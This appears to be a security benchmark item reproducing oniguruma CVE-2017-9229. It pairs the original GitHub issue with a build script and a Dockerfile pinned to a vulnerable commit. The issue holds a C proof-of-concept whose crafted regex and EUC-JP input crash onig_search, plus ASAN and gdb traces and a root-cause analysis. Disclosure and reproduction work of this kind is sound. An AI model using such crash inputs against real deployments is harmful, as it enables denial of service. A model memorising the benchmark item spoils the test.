Project: oniguruma (kkos/oniguruma), language: c++
Vulnerability instance: oniguruma.cve-2017-9229
Sanitizer: address

================= Bug Report (1/1) ==================
## Source: GitHub Issue
## URL: https://github.com/kkos/oniguruma/issues/59
## Description:
Issue: kkos/oniguruma#59
Title: SIGSEGV in left_adjust_char_head() due to bad dereference
State: closed
Created by: lxxxxfdh
Created at: 2017-05-23 13:28:54+00:00

Issue Body:
Test code:
```c
#include <stdio.h>
#include "oniguruma.h"

static int
search(regex_t* reg, unsigned char* str, unsigned char* end)
{
  int r;
  unsigned char *start, *range;
  OnigRegion *region;

  region = onig_region_new();

  start = str;
  range = end;
  r = onig_search(reg, str, end, start, range, region, ONIG_OPTION_NONE);
  if (r >= 0) {
    int i;

    fprintf(stderr, "match at %d  (%s)\n", r,
            ONIGENC_NAME(onig_get_encoding(reg)));
    for (i = 0; i < region->num_regs; i++) {
      fprintf(stderr, "%d: (%d-%d)\n", i, region->beg[i], region->end[i]);
    }
  }
  else if (r == ONIG_MISMATCH) {
    fprintf(stderr, "search fail (%s)\n",
            ONIGENC_NAME(onig_get_encoding(reg)));
  }
  else { /* error */
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str(s, r);
    fprintf(stderr, "ERROR: %s\n", s);
    fprintf(stderr, "  (%s)\n", ONIGENC_NAME(onig_get_encoding(reg)));
    return -1;
  }

  onig_region_free(region, 1 /* 1:free self, 0:free contents only */);
  return 0;
}
static int
exec(OnigEncoding enc, OnigOptionType options,
     char* apattern, char* apttern_end, char* astr, char* end)
{
  int r;
  regex_t* reg;
  OnigErrorInfo einfo;
  UChar* pattern = (UChar* )apattern;
  UChar* str     = (UChar* )astr;

  onig_initialize(&enc, 1);

  r = onig_new(&reg, pattern,
               apttern_end,
               options, enc, ONIG_SYNTAX_DEFAULT, &einfo);
  if (r != ONIG_NORMAL) {
    char s[ONIG_MAX_ERROR_MESSAGE_LEN];
    onig_error_code_to_str(s, r, &einfo);
    fprintf(stderr, "ERROR: %s\n", s);
    return -1;
  }

  r = search(reg, str, end);

  onig_free(reg);
  onig_end();
  return 0;
}
int main() {
    static unsigned char str[] = { 0xc7, 0xd6, 0xfe, 0xea, 0xe0, 0xe2, 0x00 };
     OnigUChar* inp = (const OnigUChar*) "\x00\x7c\x2e\x7b\x39\x7d\x7b\x39\x30\x7d\x7b\x39\x7d\x7b\x2c\x39\x30\x30\x7d\x30";
    int r = exec( ONIG_ENCODING_EUC_JP, ONIG_OPTION_NONE, inp, inp+20, (char *) str, str+7 );
    return 0;
}
```
ASAN output:
```
=================================================================
==26842==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000000 (pc 0x00000045eef4 bp 0x7ffe5a633330 sp 0x7ffe5a633310 T0)
    #0 0x45eef3 in left_adjust_char_head /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194
    #1 0x45914a in onigenc_get_right_adjust_char_head_with_prev /home/xie/Downloads/oni/oni-asan-develop/src/regenc.c:78
    #2 0x4561ba in forward_search_range /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3240
    #3 0x457930 in onig_search /home/xie/Downloads/oni/oni-asan-develop/src/regexec.c:3611
    #4 0x401148 in search /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:15
    #5 0x401786 in exec /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:62
    #6 0x40189e in main /home/xie/Downloads/oni/oni-asan-develop/test/testc.c:71
    #7 0x7fd6ce5c682f in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2082f)
    #8 0x400f68 in _start (/home/xie/Downloads/oni/oni-asan-develop/test/testc+0x400f68)

AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/xie/Downloads/oni/oni-asan-develop/src/euc_jp.c:194 left_adjust_char_head
==26842==ABORTING
```
In regcomp.c:4995
```c
static void
set_optimize_map_info(regex_t* reg, OptMapInfo* m)
{
  int i;

  for (i = 0; i < ONIG_CHAR_TABLE_SIZE; i++)
    reg->map[i] = m->map[i];

  reg->optimize   = ONIG_OPTIMIZE_MAP;
  reg->dmin       = m->mmd.min;
  reg->dmax       = m->mmd.max;  **// set as 19683000**

  if (reg->dmin != ONIG_INFINITE_DISTANCE) {
    reg->threshold_len = reg->dmin + 1;
  }
}
```
Later reg->dmax is used in pointer arithmetic at forward_search_range, resulting in a bad reference from regexec.c:3238
```c
      if (reg->dmax != ONIG_INFINITE_DISTANCE) {
        *low = p - reg->dmax;
        if (*low > s) {
          *low = onigenc_get_right_adjust_char_head_with_prev(reg->enc, s,
                                          *low, (const UChar** )low_prev);
          if (low_prev && IS_NULL(*low_prev))
            *low_prev = onigenc_get_prev_char_head(reg->enc,
                                                   (pprev ? pprev : s), *low);
        }
```
Bad dereference:
```
(gdb) r
Starting program: /home/xie/Downloads/oni/oni-asan-develop/test/testc 
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".

Program received signal SIGSEGV, Segmentation fault.
0x000000000045eef4 in left_adjust_char_head (start=0x66b140 <str> "\307\326\376\352\340", <incomplete sequence \342>, s=0xffffffffff3a5a8e <error: Cannot access memory at address 0xffffffffff3a5a8e>)
    at euc_jp.c:194
194	  while (!eucjp_islead(*p) && p > start) p--;
(gdb) 
```


Comments:
Comment by xixabangm4 on 2017-05-25 02:49:01+00:00:
Thanks, please use CVE-2017-9229 to reference this issue.
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9229

Build script:
#!/bin/bash -eu
# Minimized build script with only core build commands
set -eu
./autogen.sh
./configure
make clean -j$(nproc)
make -j$(nproc)

Dockerfile:
FROM hwiwonlee/secb.base:latest
RUN apt-get update && apt-get install -y make autoconf automake libtool
RUN git clone https://github.com/kkos/oniguruma oniguruma
RUN git -C oniguruma checkout bfdc384eae73e87b3443d016302b73d9def8071f
WORKDIR $SRC/oniguruma
COPY build.sh $SRC/

Additional files:
filename: .gitignore
content: /oniguruma
/fuzzer.options.*

filename: fuzzer.options